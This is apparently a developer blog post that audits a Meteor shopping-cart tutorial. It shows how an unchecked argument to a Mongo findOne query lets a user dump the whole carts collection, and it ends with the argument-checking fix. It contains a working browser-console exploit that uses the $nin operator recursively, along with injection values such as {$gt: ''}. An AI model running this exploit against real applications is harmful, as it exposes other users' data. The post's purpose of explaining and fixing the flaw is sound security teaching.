After watching Rob Conery’s awesome series of screencasts detailing how to build an eCommerce application using Meteor, I was excited to dig into his code. Along with finding a few other security vulnerabilities, I had fun playing with an interesting way of exploiting a findOne
query to aggregate data from a Mongo collection.
To get started, take a look at this getCart
method defined in shopping_cart.js:30-32:
getCart : function(userKey){
return Carts.getCart(userKey);
}
And the corresponding Carts.getCart
method in carts.js:
Carts.getCart = function(userKey){
var cart = Carts.findOne({userKey : userKey});
...
return cart;
};
The first thing you’ll notice (I hope) is that the userKey
argument isn’t being checked. Your horror may be tempered, though, when you notice that it’s being passed into a findOne
query instead of a find
.
What’s the worst thing a hacker could do? Sure, they might get a single random Cart by passing in a query like {$gt: ''}
, but it’s not like they can get at our whole collection, right?
… Right?!
Well, it turns out you can easily pull down all data from a collection using a findOne
query. Take a look at some code a malicious user could run in their browser’s console to do just that:
var carts = [];
function getCartAndSave(userKeys) {
Meteor.call('getCart', {$nin: userKeys}, function(e, r) {
if (e || !r || !r._id) {
return;
}
carts.push(r);
userKeys.push(r.userKey);
getCartAndSave(userKeys);
});
}
getCartAndSave(['']);
And just like that, the entire carts
collection has been pulled down to the client. Let’s dig into the code to see what’s going on.
The key here is the $nin
query operator. We begin by calling getCart
and asking for a Cart who’s userKey
is not in ($nin
) the array ['']
. This will return a random Cart. We push this cart’s userKey
onto the array and ask for a Cart who’s userKey
is not in that array. This will return another random Cart from the collection that we haven’t yet seen. We repeat this process until there are no more Carts to find, and we’ve aggregated all of the Carts on the client.
Now Mr. Malicious User can take his time perusing your potentially sensitive data.
Like most Meteor security issues, the fix for this is to check your user-provided arguments:
getCart : function(userKey){
check(userKey, String);
return Carts.getCart(userKey);
}
Now, a malicious user can’t pass an object into the getCart
method. They may only pass a String, and will only be able to find a Cart if they know its userKey
.
Never allow users to pass arbitrary data into your queries!